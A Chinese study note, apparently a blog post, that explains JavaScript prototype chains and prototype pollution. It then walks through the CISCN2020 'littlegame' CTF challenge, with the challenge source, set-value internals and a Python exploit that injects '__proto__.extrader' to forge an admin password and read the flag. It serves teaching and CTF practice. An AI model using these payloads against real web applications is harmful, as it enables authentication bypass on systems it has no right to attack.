学点新东西,JavaScript独有的安全问题,JavaScript原型链污染,记笔记
原型链
搬张图,转自:https://www.zhihu.com/question/34183746
JavaScript 只有一种结构:对象。每个实例对象( object )都有一个私有属性(称之为 __proto__
)指向它的构造函数的原型对象(prototype
)。该原型对象也有一个自己的原型对象( __proto__
) ,层层向上直到一个对象的原型对象为 null
。根据定义,null
没有原型,并作为这个原型链中的最后一个环节。
所有类对象在实例化的时候将会拥有prototype
中的属性和方法,这个特性被用来实现JavaScript中的继承机制。
- 原型:原型是Javascript中继承的基础,Javascript的继承就是基于原型的继承
- 原型链:原型链是javascript的实现的形式,递归继承原型对象的原型,原型链的顶端是Object的原型。
__proto__
每个对象都有 __proto__
属性,指向了创建该对象的构造函数的原型。其实这个属性指向了 [[prototype]]
,但是 [[prototype]]
是内部属性,我们并不能访问到,所以使用 __proto__
来访问。
prototype
每个函数都有 prototype 属性,除了 Function.prototype.bind()
,该属性指向原型。所有的类对象在实例化的时候将会拥有prototype
中的属性和方法
遵循ECMAScript标准,
someObject.[[Prototype]]
符号是用于指向someObject
的原型。从 ECMAScript 6 开始,[[Prototype]]
可以通过Object.getPrototypeOf()
和Object.setPrototypeOf()
访问器来访问。这个等同于 JavaScript 的非标准但许多浏览器实现的属性__proto__
。但它不应该与构造函数
func
的prototype
属性相混淆。被构造函数创建的实例对象的[[Prototype]]
指向func
的prototype
属性。Object.prototype
属性表示Object
的原型对象。
原型链继承
首先定义一个函数f
let f = function () {
this.a = 1;
this.b = 2;
}
// 这么写也一样
function f() {
this.a = 1;
this.b = 2;
}
我们从一个函数里创建一个对象o,它自身拥有属性a和b的
let o = new f(); // {a: 1, b: 2}
在f函数的原型上定义属性
f.prototype.b = 3;
f.prototype.c = 4;
不要在 f 函数的原型上直接定义 f.prototype = {b:3,c:4};
这样会直接打破原型链
o.[[Prototype]]
有属性 b 和 c, (其实就是 o.__proto__
或者 o.constructor.prototype
)
o.[[Prototype]].[[Prototype]]
是 Object.prototype
最后o.[[Prototype]].[[Prototype]].[[Prototype]]
是null
这就是原型链的末尾,即 null
,
根据定义,null
就是没有 [[Prototype]]
。
综上,整个原型链如下:
{a:1, b:2} ---> {b:3, c:4} ---> Object.prototype---> null
a是o的自身属性吗?是的,该属性的值为 1
console.log(o.a); // 1
b是o的自身属性吗?是的,该属性的值为 2
原型上也有一个b
属性,但是它不会被访问到。
这种情况被称为属性遮蔽 (property shadowing)
console.log(o.b); // 2
c是o的自身属性吗?不是,那看看它的原型上有没有
c是o.[[Prototype]]
的属性吗?是的,该属性的值为 4
console.log(o.c); // 4
d 是 o 的自身属性吗?不是,那看看它的原型上有没有
d 是 o.[[Prototype]]
的属性吗?不是,那看看它的原型上有没有
o.[[Prototype]].[[Prototype]]
为 null
,停止搜索
找不到 d 属性,返回 undefined
console.log(o.d); // undefined
调用对象属性时, 会查找属性,如果本身没有,则会去__proto__
中查找,也就是构造函数的显式原型中查找,如果构造函数中也没有该属性,因为构造函数也是对象,也有__proto__
,那么会去__proto__
的显式原型中查找,一直到null
原型链污染
这里采用P🐮的例子来简单分析一下
// foo是一个简单的JavaScript对象
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar)
根据结果我们可以看到,zoo.bar
打印出来的是2,foo是一个object实例,我们令foo.__proto__.bar = 2
所以实际上是修改了Object
这个类,增加了一个属性bar
值为2,然后我们有创建了一个object类zoo,则zoo对象自然有一个bar属性
在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。
利用手段
- 常发生在
merge
等对象递归合并操作 - 对象克隆
- 路径查找属性然后修改属性的时候
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b) // 1,2
o3 = {}
console.log(o3.b) // 2
这里为什么要用JSON.parse
而不直接使用let o2 = {a: 1, "__proto__": {b: 2}}
如果不使用JSON.parse
,则原型链并不会被污染,如下:
因为我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}}
)中,__proto__
已经代表o2的原型了,此时遍历o2的所有键名,拿到的是[a, b]
,__proto__
并不是一个key,自然也不会修改Object的原型。
栗子
CISCN2020 littlegame
2020年的国赛题,当时保存了一份题目源码,于是这里拿出来复现一下
index.js
var express = require('express');
const setFn = require('set-value');
var router = express.Router();
const COMMODITY = {
"sword": {"Gold": "20", "Firepower": "50"},
// Times have changed
"gun": {"Gold": "100", "Firepower": "200"}
}
const MOBS = {
"Lv1": {"Firepower": "1", "Bounty": "1"},
"Lv2": {"Firepower": "5", "Bounty": "10"},
"Lv3": {"Firepower": "10", "Bounty": "15"},
"Lv4": {"Firepower": "20", "Bounty": "30"},
"Lv5": {"Firepower": "50", "Bounty": "65"},
"Lv6": {"Firepower": "80", "Bounty": "100"}
}
const BOSS = {
// Times have not changed
"Firepower": "201"
}
const Admin = {
"password1":process.env.p1,
"password2":process.env.p2,
"password3":process.env.p3
}
router.post('/BuyWeapon', function (req, res, next) {
// not implement
res.send("BOOS has said 'Times have not changed'!");
});
router.post('/EarnBounty', function (req, res, next) {
// not implement
res.send("BOOS has said 'Times have not changed'!");
});
router.post('/ChallengeBOSS', function (req, res, next) {
// not implement
res.send("BOOS has said 'Times have not changed'!");
});
router.post("/DeveloperControlPanel", function (req, res, next) {
// not implement
if (req.body.key === undefined || req.body.password === undefined){
res.send("What's your problem?");
}else {
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send(process.env.flag);
}else {
res.send("Wrong password!Are you Admin?");
}
}
});
router.get('/SpawnPoint', function (req, res, next) {
req.session.knight = {
"HP": 1000,
"Gold": 10,
"Firepower": 10
}
res.send("Let's begin!");
});
router.post("/Privilege", function (req, res, next) {
// Why not ask witch for help?
if(req.session.knight === undefined){
res.redirect('/SpawnPoint');
}else{
if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
res.send("What's your problem?");
}else {
let key = req.body.NewAttributeKey.toString();
let value = req.body.NewAttributeValue.toString();
setFn(req.session.knight, key, value);
res.send("Let's have a check!");
}
}
});
module.exports = router;
审计代码,flag在环境变量中,需要访问DeveloperControlPanel
这个路由,并且需要Admin[key] === password
,简单来说我们需要知道p1、p2、p3中的任意一个密码即可拿到flag
根据提示看到Privilege
路由,这里访问时knight
这个session
没定义,则重定向到SpawnPoint
创建一个,随后再访问的时候需要携带NewAttributeKey
和NewAttributeValue
两个参数,来进行setFn
操作,可以看到setFn
在头部定义const setFn = require('set-value');
set-value : Set nested properties on an object using dot notation. / 使用点表示法在对象上设置嵌套属性。
const set = require('set-value'); const obj = {}; set(obj, 'a.b.c', 'd'); console.log(obj); //=> { a: { b: { c: 'd' } } }
跟进到这个包的源代码
'use strict';
const isPlain = require('is-plain-object');
function set(target, path, value, options) {
if (!isObject(target)) {
return target;
}
let opts = options || {};
const isArray = Array.isArray(path);
if (!isArray && typeof path !== 'string') {
return target;
}
let merge = opts.merge;
if (merge && typeof merge !== 'function') {
merge = Object.assign;
}
const keys = isArray ? path : split(path, opts);
const len = keys.length;
const orig = target;
if (!options && keys.length === 1) {
result(target, keys[0], value, merge);
return target;
}
for (let i = 0; i < len; i++) {
let prop = keys[i];
if (!isObject(target[prop])) {
target[prop] = {};
}
if (i === len - 1) {
result(target, prop, value, merge);
break;
}
target = target[prop];
}
return orig;
}
function result(target, path, value, merge) {
if (merge && isPlain(target[path]) && isPlain(value)) {
target[path] = merge({}, target[path], value);
} else {
target[path] = value;
}
}
构造NewAttributeKey
为__proto__.extrader
,NewAttributeValue
为extrader
path
被拆分成['__proto__','extrader']
,第一次的for循环,将target = target[prop]
,此时的prop
就是__proto__
,经过一次循环后target
就为req.session.knight.__proto__
了,随后i === len - 1
判断为最后一个值,进入result
主要看到result
这个方法,会将value
赋值给target[path]
,存在赋值操作,便出现了原型链污染
传入result
函数的target
为req.session.knight.__proto__
,req.session.knight
的原型是Object
,即Object.prototype
,我们就可以在Object
这个类中定义变量req.session.knight.__proto__[path] = value
,即Object.prototype[path] = value
,键为path,值为value,value和path我们都可控
Exp:
import requests
session = requests.session()
url = 'http://127.0.0.1:3000/'
data1 = {
"NewAttributeKey" : "__proto__.extrader",
"NewAttributeValue" : "extrader"
}
data2 = {
"key" : "extrader",
"password" : "extrader"
}
session.get(url+'SpawnPoint')
session.post(url+'Privilege', data=data1).text
print(session.post(url+'DeveloperControlPanel', data=data2).text)
若没有本文 Issue,您可以使用 Comment 模版新建。
GitHub Issues